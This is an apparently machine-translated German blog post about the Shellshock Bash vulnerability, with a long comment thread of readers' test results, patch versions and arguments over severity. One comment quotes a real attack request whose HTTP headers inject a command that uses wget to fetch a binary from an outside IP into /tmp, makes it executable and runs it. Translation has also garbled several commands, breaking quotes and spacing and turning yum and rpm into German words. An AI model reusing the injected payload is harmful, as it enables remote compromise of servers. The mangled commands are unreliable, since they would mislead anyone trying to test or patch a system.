Es läuft wie ein Lauffeuer in einigen Blogs, einer Nachricht, die in der Sicherheitsblog de Red Hat über eine Sicherheitslücke in Bash aufgrund des Missbrauchs globaler Variablen. Nach den ursprünglichen Nachrichten:
„… Die Sicherheitsanfälligkeit beruht auf der Tatsache, dass Umgebungsvariablen mit speziell gestalteten Werten erstellt werden können, bevor die Bash-Shell aufgerufen wird. Diese Variablen können Code enthalten, der ausgeführt wird, sobald die Shell aufgerufen wird. Der Name dieser ausgearbeiteten Variablen spielt keine Rolle, nur deren Inhalt. Infolgedessen ist diese Sicherheitsanfälligkeit in vielen Kontexten offengelegtzum Beispiel:
- ForceCommand Es wird in SSHD-Konfigurationen verwendet, um eingeschränkten Befehlsausführungsfunktionen für Remotebenutzer bereitzustellen. Dieser Fehler kann verwendet werden, um dies zu vermeiden und eine willkürliche Befehlsausführung bereitzustellen. Einige Git- und Subversion-Implementierungen verwenden solche eingeschränkten Shells. Die regelmäßige Verwendung von OpenSSH ist nicht betroffen, da Benutzer bereits Zugriff auf eine Konsole haben.
- Der Apache-Server, der mod_cgi oder mod_cgid verwendet, ist betroffen, wenn CGI-Skripte sowohl in Bash- als auch in Spawn-Unterebenen geschrieben werden. Solche Unterebenen werden implizit von system / popen in C, von os.system / os.popen in Python verwendet, wenn eine System / exec-Shell in PHP verwendet wird (im CGI-Modus) und open / system in Perl (abhängig von der Befehlszeichenfolge).
- Mit mod_php ausgeführte PHP-Skripte sind auch dann nicht betroffen, wenn Unterebenen abgespielt werden.
- DHCP-Clients rufen Shell-Skripte auf, um das System mit Werten zu konfigurieren, die von einem potenziell bösartigen Server stammen. Dies würde es ermöglichen, beliebige Befehle, normalerweise als root, auf dem DHCP-Client-Computer auszuführen.
- Verschiedene Daemons und Programme mit SUID-Berechtigungen können Shell-Skripte mit den vom Benutzer festgelegten / beeinflussten Umgebungsvariablenwerten ausführen, wodurch beliebige Befehle ausgeführt werden können.
- Jede andere Anwendung, die sich mit einer Shell verbindet oder ein Shell-Skript ausführt, wie z. B. bash als Interpreter. Shell-Skripte, die keine Variablen exportieren, sind für dieses Problem nicht anfällig, selbst wenn sie nicht vertrauenswürdigen Inhalt verarbeiten und darin speichern Shell-Variablen (links) und Unterebenen öffnen sich.
... »
Woher wissen, ob meine Bash betroffen ist?
Angesichts dessen gibt es eine sehr einfache Möglichkeit, festzustellen, ob wir von dieser Sicherheitsanfälligkeit betroffen sind. Tatsächlich habe ich auf meinem Antergos getestet und anscheinend habe ich kein Problem. Was wir tun müssen, ist ein Terminal zu öffnen und zu setzen:
env x = '() {:;}; echo verwundbar 'bash -c "echo das ist ein Test"
Wenn es so herauskommt, haben wir kein Problem:
env x = '() {:;}; echo verwundbar 'bash -c "echo dies ist ein Test" bash: Warnung: x: Ignorieren der Funktionsdefinition Versuch bash: Fehler beim Importieren der Funktionsdefinition für' x 'Dies ist ein Test
Wenn das Ergebnis anders ist, können Sie die Aktualisierungskanäle unserer bevorzugten Distributionen verwenden, um festzustellen, ob sie den Patch bereits angewendet haben. Also weißt du 😉
Aktualisiert: Dies ist die Ausgabe eines Kollegen, der Ubuntu 14:04 verwendet:
env x = '() {:;}; echo verwundbar 'bash -c "echo dies ist ein Test" verwundbar dies ist ein Test
Wie Sie sehen können, ist es bisher anfällig.
Ich habe Kubuntu 14.04 von 64 und bekomme außerdem:
env x='() { :;}; echo vulnerable' bash -c "echo das ist ein Test"
verletzlich
das ist ein Test
Ich habe bereits aktualisiert, aber das Problem wird nicht behoben. Machen?
Warten Sie, bis sie aktualisiert sind. Bereits eOS zum Beispiel aktualisiert.. 😀
Das ist seltsam, ich habe auch Kubuntu 14.04
$ env x='() { :;}; echo vulnerable' bash -c "echo das ist ein Test"
bash: Warnung: x: Funktionsdefinitionsversuch wird ignoriert
bash: Fehler beim Importieren der Funktionsdefinition für „x“
das ist ein Test
Ich füge hinzu, dass die Version des „bash“-Pakets, die heute heruntergeladen wurde, ist:
4.3-7ubuntu1.1
http://packages.ubuntu.com/trusty/bash
Wenn ich in meinem Fall den Befehl gebe, erhalte ich im Terminal nur Folgendes:
>Der Witz ist jedenfalls, dass ich Debian Wheezy aktualisiert habe und das hat mich rausgeworfen.
Wheezy ist immer noch anfällig für den zweiten Teil des Fehlers, zumindest für den Nachmittag (UTC -4: 30) folgte das Problem immer noch: /
Ich habe gerade überprüft, dass nach der Installation eines Updates heute Morgen weder Slackware noch Debian noch Centos betroffen sind, da sie das entsprechende Update erhalten haben.
Was macht Ubuntu derzeit noch angreifbar? Und sag mir, dass es sicher ist: D.
Aber haben Sie versucht, Ubuntu zu aktualisieren?
Mit dem heutigen Update haben sie das auch behoben.
OK
Sicherheitsexperten warnen, dass die Bash-Schwachstelle eine größere Bedrohung für Benutzer von Linux-Software darstellen könnte als die Heartbleed-Schwachstelle, bei der Hacker einen Fehler in Bash ausnutzen können, um die vollständige Kontrolle über ein System zu übernehmen.
Tod Beardsley, ein technischer Manager des Cybersicherheitsunternehmens Rapid7, warnte davor, dass der Fehler aufgrund seiner Schwere mit 10 bewertet wurde, was bedeutet, dass er die maximale Auswirkung hat, und mit "niedrig" für die Komplexität des Exploits, was bedeutet Das ist relativ einfach für "Hacker" -Angriffe. Durch die Verwendung dieser Sicherheitsanfälligkeit können Angreifer möglicherweise die Kontrolle über das Betriebssystem übernehmen, auf vertrauliche Informationen zugreifen, Änderungen vornehmen usw. ", sagte Beardsley. "Jeder mit Systemen, die Bash belegen, sollte den Patch sofort anwenden", fügte er hinzu.
Bevor diese Schwachstelle das veraltete Tool (GNU) zur Schau stellt, auf dem Bach gehostet wird, wäre es für Linux-Software bequemer, GNU zu entfernen und auf das BSD-Tool umzusteigen.
PS: Verurteilen Sie meine Meinungsfreiheit nicht, beleidigen Sie niemanden, löschen Sie meine Nachricht nicht wie die vorherige Nachricht, die gelöscht wurde!
Oh bitte, übertreibe nicht. Wie ich diese Leute hasse, die BSD verwenden und GNU, Linux oder alles, was aus diesen Projekten kommt, verachten.
Ich stimme mit Ihnen überein und Sie haben vollkommen recht, was die Schwere dieses Lochs angeht.
Es war keine Zensur, es war Redundanz (Sie hatten den gleichen Kommentar im Gnome-3.14-Beitrag abgegeben)
„…und wurde hinsichtlich der Komplexität der Ausnutzung mit „NIEDRIG“ bewertet, was bedeutet, dass sie für Hackerangriffe relativ EINFACH ist.“
Ist die Inkonsistenz erkennbar?
Wie kann es einfach sein, die Schwachstelle auszunutzen und gleichzeitig ein „geringes“ Risikoniveau zu haben, weil die Nutzung so komplex ist?
Es handelt sich um einen Fehler, der einige Stunden nach Bekanntwerden behoben wurde und von dem, wie auch bei Heartbleed, nicht berichtet wurde, dass er ausgenutzt wurde (natürlich hat dies weniger Zeit, um bekannt zu werden).
Es handelt sich eher um Boulevardpresse als um echtes Risiko.
Erscheint Ihnen @Staff unwichtig? Was wirst du mir jetzt sagen?
GET./.HTTP/1.0
.User-Agent: .Danke-Rob
.Cookie:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh; ./tmp/besh;
.Host:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh; ./tmp/besh;
.Referer:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh; ./tmp/besh;
.Akzeptieren:. * / *
$ Datei nginx
nginx: Ausführbare ELF-32-Bit-LSB-Datei, Intel 80386, Version 1 (SYSV), statisch verknüpft, für GNU/Linux 2.6.18, entfernt
$md5sum nginx
5924bcc045bb7039f55c6ce29234e29a nginx
$sha256sum nginx
73b0d95541c84965fa42c3e257bb349957b3be626dec9d55efcc6ebcba6fa489 nginx
Weißt du was das ist? Überhaupt nichts Gefährliches...
Die Situation ist ziemlich ernst, aber von da an bis zu der Aussage, dass Sie aufhören sollten, Bash für eine BSD-Option zu verwenden, das ist das Beste, jedenfalls ist das Update bereits da, ich tippe nur auf „Update“ und sonst nichts.
Nun zur PS: Ich denke, das ist zu viel, Kumpel @robet. Ich glaube nicht, dass die Admins hier solche Kommentare löschen wollen, nur weil ich dieses Gefühl habe, seit ich Teil dieser Community bin, und ich hoffe, dass das auch so bleibt.
Grüße.
Sie haben genau den gleichen Kommentar in zwei verschiedenen Beiträgen gepostet. Wenn Sie versuchen, „die Quelle“ der Nachrichten zu bewerben, ist dies leider nicht der richtige Ort.
Bash stammt von Unix (und seinem GNU-Klon). Auch BSD-basierte Systeme wie OSX sind betroffen und laut Genbeta wurde das Problem noch nicht gepatcht. Ebenso benötigen Sie für den Zugriff auf Bash ein Benutzerkonto, entweder lokal oder über SSH.
@Mitarbeiter:
1.- Aufgrund der Anzahl der Dienste, die von dem Fehler betroffen sein könnten, wurde es als Stufe 10 (maximale Gefahrenstufe) eingestuft. In der Hauptnotiz machen sie diese Tatsache sehr deutlich und argumentieren, dass der Fehler Dienste wie Apache, SSHD und Programme mit SUID-Berechtigungen (unter anderem Xorg) beeinträchtigen kann.
2.- Es wurde als „Niedriger Schwierigkeitsgrad“ eingestuft, wenn es darum geht, seine Implementierung durchzuführen, und das beste Beispiel dafür ist das Schwachstellentestskript, das @elav in den Beitrag eingefügt hat. Sehr schwer umzusetzen ist es nicht, wie man sieht.
Ich sehe keine Redundanz in den Informationen (ich sehe nur eine Google-Übersetzung) und wenn das Problem schwerwiegend genug ist und es, wie Sie sagen, bereits einen Patch und eine Lösung gibt, aber nicht aus diesem Grund, stellt es kein Risiko mehr dar, sondern ein ziemlich reales.
@petercheco / @Yukiteru
Verstehen Sie mich nicht falsch, ich denke, es ist klar, dass meine Kritik die Nachrichten betrifft, die Robet verknüpft, und sich auf Inkonsistenz und nicht auf Redundanz konzentriert.
Ebenso müssen wir zwischen Risiko und Gefahr unterscheiden (das letzte habe ich nicht erwähnt), wir verwenden sie üblicherweise als Synonyme, aber hier wäre Gefahr die Schadenskapazität des Fehlers und Risiko die Wahrscheinlichkeit seines Auftretens.
In meinem speziellen Fall bin ich seit gestern eingetreten. Es war nicht für Mailinglisten oder ähnliches gedacht, sondern für eine Desktop-Distribution! Ich nahm den Hörer ab und schickte eine Nachricht mit dem Link an den Systemadministrator, und er bestätigte, dass ich bereits alles gepatcht hatte, also entschuldigen Sie, aber diese Nachricht raubt mir nicht den Schlaf.
In anderen Foren erwähnen sie die Bash-Sicherheitslücke, „die Lösung, die Debian und Ubuntu herausgebracht haben“, aber heute haben sie entdeckt, dass eine Sicherheitslücke immer noch besteht, sodass die Lösung unvollständig war, das ist es, was sie erwähnen!
Ich sehe, dass mich viele dafür kritisiert haben, dass ich Menschen vor der Schwere der Sicherheitslücke bewahrt habe, die mit einer Stufe 10 maximaler Gefährlichkeit qualifiziert ist, und mögliche Lösungen für Linux-Software vor dem veralteten GNU-Tool erwähnt habe, in dem Bash perfekt gehostet wird GNU könnte durch das BSD-Tool in Linux Software ersetzt werden. Ich benutze auch Linux und ich mag Linux!
Ich stelle klar, dass Bash nicht standardmäßig in BSD installiert ist, sondern ein weiteres Linux-Kompatibilitätspaket, das in BSD installiert werden kann ... ja! Und die Quelle wird so angegeben, dass sie die Nachrichten überprüfen können, da viele Benutzer der Nachricht oder dem Kommentar manchmal nicht glauben.
robet: Wie sie dir immer wieder gesagt haben, schreibst du deinen Kommentar mit den Neuigkeiten bereits in einen Beitrag, du musst ihn nicht in jeden Beitrag einfügen, den du kommentierst.
Über Bash, da es andere Befehlsinterpreter gibt, die verwendet werden können, falls Bash anfällig ist. 😉
Robet, meines Wissens gibt es keine Software, die den Linux-Kernel mit dem BSD-Userland kombiniert. Das Nächste ist umgekehrt, kBSD + GNU, wie es Gentoo und Debian tun. Außerdem könnte GNU (1983) nicht als "altmodisch" bezeichnet werden, wenn es nach BSD (1977) ist. Beide teilen ihr Unix-Root (aber nicht den Code). Es würde keine "Linux-Kompatibilität" geben, wenn Bash erstellt würde, als Linus T noch ein Kind war.
uff, Debian-Tests sind derzeit „anfällig“, was für eine Phase wir gerade haben ...
Ich verwende Debian Testing und selbst in diesem Zweig haben wir das Bash-Update erhalten
Laut Genbeta gibt es noch eine weitere Sicherheitslücke
http://seclists.org/oss-sec/2014/q3/685
Der abzufragende Befehl lautet
env X='() { (a)=>\' sh -c "echo vulnerabel"; bash -c „echo Unpatched Failure 2“
env X='() { (a)=>\' sh -c "echo vulnerabel"; bash -c „echo Unpatched Bug 2“ sh: X: Zeile 1: Syntaxfehler in der Nähe des unerwarteten Elements „=“ sh:das gleiche Ich.
Ebenfalls. Aber der ursprüngliche Fehler im Beitrag wurde in (L)Ubuntu 14.04 behoben
Anstatt ein einfaches Echo auszuführen und zu versuchen, eine Anweisung auszuführen, die Privilegien erfordert, wird bei mir die Fehlermeldung „Unzureichende Privilegien“ angezeigt.
Sie haben Recht!! Es gab zwei Schwachstellen...
Für mich unter Linux Mint 17 nach dem zweiten Bash-Update, das gestern Abend in den Ubuntu-Repositorys abgelegt wurde, gibt die Shell bei der Ausführung dieses Befehls diese Ausgabe aus:
env X='() { (a)=>\' sh -c „echo vulnerabel“; bash -c „echo Unpatched Failure 2“
>
Die Version von „bassh“, die in den Ubuntu-Repositories abgelegt wurde, um die vorherigen zu aktualisieren, ist:
4.3-7ubuntu1.2
Auf von Debian abgeleiteten Systemen können Sie die installierte Version mit diesem Befehl überprüfen:
dpkg -s bash|grep Version
Auf jeden Fall sollte es geklärt werden, zumindest für Debian-, Ubuntu- und Mint-Benutzer; dass sie sich nicht zu viele Gedanken über Programme machen sollten, die Skripte mit dem Header #!/bin/sh ausführen, da /bin/sh auf diesen Distributionen nicht bash aufruft, sondern stattdessen auf die Dash-Shell verweist (dash ist:)
Debians Alchemist-Konsole (Dash) ist eine von POSIX abgeleitete Konsole
von Asche.
.
Da es Skripte schneller als Bash ausführt und weniger Abhängigkeiten aufweist
von Bibliotheken (was es robuster gegen Softwarefehler macht oder
Hardware) wird sie als Standard-Systemkonsole auf Systemen verwendet
Debian.
Zumindest unter Ubuntu wird also „bash“ als Shell für die Benutzeranmeldung verwendet (auch für den Root-Benutzer). Aber jeder Benutzer kann eine andere Standard-Shell für Root- und Benutzerkonsolen (Terminals) verwenden.
Sie können leicht überprüfen, ob die Shell die Skripte (#!/bin/sh) ausführt, indem Sie die folgenden Befehle ausführen:
Datei / bin / sh
(Ausgabe ist /bin/sh: symbolischer Link zu „dash“) Wir folgen der Spur, indem wir den Befehl wiederholen
Datei / bin / dash
(Die Ausgabe ist /bin/dash: ELF 64-Bit LSB Shared Object, x86-64, Version 1 (SYSV), also ist dies die ausführbare Datei.
Dies sind die Ergebnisse für eine Linux Mint 17-Distribution. Bei anderen nicht auf Ubuntu/Debian basierenden Distributionen können sie unterschiedlich sein.
Es ist nicht schwer, die Standard-Shell zu ändern !! Sie können sogar eine andere für Benutzer und für den Root-Benutzer verwenden. Eigentlich müssen Sie nur die Shell Ihrer Wahl installieren und die Standardeinstellung mit dem Befehl "chsh" oder durch Bearbeiten der Datei / etc / passwd ändern (obwohl Benutzer, die die Folgen eines Fehlers beim Bearbeiten der Datei "passwd" nicht kennen, dies ist Informieren Sie sich besser sehr gut und erstellen Sie vor dem Bearbeiten eine Kopie des Originals, falls eine Wiederherstellung erforderlich ist.
Ich fühle mich wohler mit „tcsh“ (tcsh ist:)
Die TENEX C-Konsole, eine verbesserte Version der Berkeley csh
„csh“ wurde vor einigen Jahren von Mac OS X verwendet. Etwas logisch, wenn man bedenkt, dass ein großer Teil des Apple-Betriebssystems aus FreeBSD-Code besteht. Nach dem, was ich gestern gelesen habe, scheint es, dass sie auch „Bash“ für Benutzerterminals bereitstellen.
SCHLUSSFOLGERUNGEN:
– Gepatchte Versionen von „bash“ wurden bereits „für die am häufigsten verwendeten Distributionen“ verteilt
– Bash-Version 4.3-7ubuntu1.2 und höher enthalten diese Fehler nicht
– Es ist nicht zwingend erforderlich, „bash“ unter dem Betriebssystem *Linux zu verwenden
– Nur wenige *Linux-Distributionen verlinken #!/bin/sh mit „bash“
– Es gibt Alternativen: ash, dash, csh, tcsh und einige mehr
– Es ist nicht kompliziert, die Standard-Shell zu ändern, die das System beim Öffnen eines Terminals aufruft
– Nur wenige kleine Geräte (Router und andere) verwenden „bash“, weil es sehr groß ist!!
Gerade ist gerade ein weiteres Update eingetroffen, das eine andere Version von „bash“ 4.3-7ubuntu1.3 installiert
Für Linux Mint 17 und Ubuntu 14.04.1 LTS
In ArchLinux ist die Version bash-4.3.026-1 eingetragen
@Xurxo….csh aus Berkeley?,…Sie verstehen irgendwie, wovon ich oben spreche, und es ist besser, „csh“ von BSD zu verwenden…anstatt das antiquierte GNU-Tool, auf dem Bash gehostet wird. Dieses Tool eignet sich am besten für Linux-Software.
Ich denke, das ist der Fehler
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=762760
wahr?
Und was wäre die Lösung?
Warten Sie, bis das Paket in Ihrer Distribution aktualisiert wird 😉
Der Fehler wurde Shellshock genannt
http://www.theregister.co.uk/2014/09/24/bash_shell_vuln/
verletzlich
das ist ein Test
Noch kein Patch für Ubuntu Studio 14.04
In Ubuntu Studio 14.04.1 behoben
brizno@ubuntustudio:~$ env x='() { :;}; echo vulnerable' bash -c "echo das ist ein Test"
bash: Warnung: x: Funktionsdefinitionsversuch wird ignoriert
bash: Fehler beim Importieren der Funktionsdefinition für „x“
das ist ein Test
Es handelt sich tatsächlich um eine geringfügige Sicherheitslücke. Wenn Sie davon betroffen sind, liegt das daran, dass Sie zuvor etwas falsch gemacht haben ...
Denn ein mit Root-Rechten ausgeführtes Bash-Skript sollte niemals einem Benutzer zugänglich gemacht werden. Und wenn Sie unprivilegiert laufen, gibt es keine solche Schwachstelle. Eigentlich ist es Unsinn. Viel Alarmismus.
Ich denke, das gleiche.
Genau, um mehr Zeitungen zu verkaufen oder mehr Besucher zu bekommen, sind diese Käfer gut.
Aber sie vergessen immer zu erwähnen, dass man, um einen Computer mit solchen Skripten kompromittieren zu können, zuerst Zugriff auf Bash und dann als Root haben muss.
Wenn Sie einen Apache mit CGI verwenden, fügen Sie einfach die HTTP-Header als Cookies ein oder verweisen Sie auf die Funktion, die Sie ausführen möchten. Es wurde sogar zur Verbreitung von Würmern eingesetzt.
Und wenn jemand eine Shell mit einem wget mishell.php auf einen Server legt, ist das doch nicht schlimm, oder?
Ich stimme dir zu. Ich dachte, es sei ein riesiger Fehler wie der in Heartbleed (sogar die NSA bot sich an, die Morbiden zu füttern), aber im Grunde war es ein kleiner Fehler.
Es gibt noch andere wirklich schwerwiegende Fehler, wie den verrückten Flash-Verbrauch und den Leistungsabfall im Pepper Flash Player, und die wurden bereits behoben webRTC-Fehler in Chrome und Firefox.
Wissen Sie, ob es einen Fix für Leute gibt, die Linux Mint 16 haben?
Im Debian-Test wurde es bereits korrigiert.
In meinen 5 Distributionen ist es gelöst, in meinem OS X weiß ich es nicht.
Bitte zensieren Sie meinen Kommentar nicht, ich habe OS X gesagt. Ich weiß nicht, ob Sie auf dieser Website OS X sagen dürfen.
@yoyo, lass dich nicht zu sehr ausflippen, sie arbeiten immer noch an einigen Details des Patches ... probiere es aus und sag es mir später. XD
env x='() { :;}; echo vulgaris‘ bash -c „echo Ich bin anfälliger als der iPhone-6-Müll“
Wenn sie es vor OS X zu 100 % gelöst haben, wette ich darauf
Nun, selbst auf der Ars Technica messen sie Bash unter OSX Relevanz bei.
@Yoyo nächster Kommentar zu OS
@yoyo da müssen wir die Anführungszeichen korrigieren... aber den Rest wisst ihr schon 😉
Die FSF hat gesprochen
https://fsf.org/news/free-software-foundation-statement-on-the-gnu-bash-shellshock-vulnerability
Sie gehen unter OSX irgendwie schonend vor (weil OSX immer noch Bash verwendet :v).
Jedenfalls muss ich mich nicht so sehr mit Debian Jessie herumschlagen.
Wenn das System unter Cent OS anfällig ist:
Lecker, alles sauber && Lecker, Bash aktualisieren
um die Bash-Version zu sehen:
U / min -qa | grep bash
Wenn die Version älter als bash-4.1.2-15.el6_5.1 ist, ist Ihr System möglicherweise anfällig!
Grüße.
2. Schwachstelle noch nicht behoben
env amvariable2='() { (a)=>\' sh -c "echo amVulnerable"; bash -c „echo Unpatched Failure 2“
Aktualisierung ...
Das Gegenteil passiert mir in Gentoo, ich bin nur für den ersten Fehler anfällig, aber beim zweiten erscheint Folgendes:
[code]sh: X: Zeile 1: Syntaxfehler in der Nähe des unerwarteten Elements „=“
sh: X: Zeile 1: ''
sh: Fehler beim Importieren der Funktionsdefinition für „X“
sh: anfällig: Befehl nicht gefunden
Ungepatchter Fehler 2
[/ Code]
Ich weiß nicht, ob es bereits eine stabile Version von Bash mit den behobenen Fehlern geben wird, aber es wird auf jeden Fall für das nächste Mal ausstehen, wenn ich ein emerge –sync && emerge –update –deep –with-bdeps=y –newuse @world durchführe (so aktualisiere ich das gesamte System).
Ich habe Gentoo mit der Version 4.2_p50 und bisher hat es alle Tests bestanden. Versuchen Sie, ein emerge –sync und dann emerge -av1 app-shells/bash auszuführen, und überprüfen Sie dann mit dem Befehl bash –version, ob Sie Version 4.2_p50 haben.
Hast du das versucht?
Und mit neuen Paketen, einem neuen Test von Red Hat
cd /tmp; rm -f /tmp/echo; env 'x=() { (a)=>\' bash -c "echo date"; cat /tmp/echo
Wenn unser System nicht angreifbar ist und korrekt gepatcht wurde, sollte es uns etwa Folgendes anzeigen
1-Datum
2 cat: /tmp/echo: Keine solche Datei oder kein solches Verzeichnis
Versuchen Sie es so:
env X='() { (a)=>\' sh -c "echo vulnerabel"; bash -c „echo Bug 2 gepatcht“
Ich bekomme
verletzlich
Bug 2 gepatcht.
Vergessen Sie es, die Zeile ist falsch formatiert.
Ausgezeichnet! Ich habe das Update bereits in meiner Slackware durchgeführt, danke!
Hallo, ich habe eine Frage, ich habe mehrere Server mit „SUSE Linux Enterprise Server 10“ 64-Bit.
Wenn ich die Befehle ausführe, bin ich angreifbar, sogar noch anfälliger als der Müll des iPhone 6 xD
Wenn ich mich nicht irre, erfolgt die Aktualisierung/Installation von Paketen in SUSE mit dem Befehl „zypper“.
Auf einigen Servern wird mir Folgendes angezeigt:
BIAL: ~ # zypper up
-bash: zypper: Befehl nicht gefunden
BIAL: ~ #
Und in anderen das:
SMB: ~ # zypper up
Systemquellen werden wiederhergestellt…
Parsen von Metadaten für SUSE Linux Enterprise Server 10 SP2-20100319-161944…
Parsen der RPM-Datenbank…
Zusammenfassung:
Nichts zu tun.
Was ich mache?
Ich weiß, dass die Verletzlichkeit, sagen manche, geringer ist, als sie es darstellen, aber ich habe sie und möchte keinem Risiko ausgesetzt sein, sei es klein oder groß.
Grüße.
Guten Abend, ich habe versucht, den im Artikel bereitgestellten Code einzufügen, ich verstehe Folgendes
sanders@pc-sanders:~$ env x='() { :;}; echo vulnerable' bash -c "echo das ist ein Test"
das ist ein Test
sanders@pc-sanders:~$
Könnten Sie mir bitte erklären, wie ich die Distribution patchen kann? Ich mache täglich Updates und sehe keine Änderungen in der Ausgabe der Eingabeaufforderung.
Vielen Dank!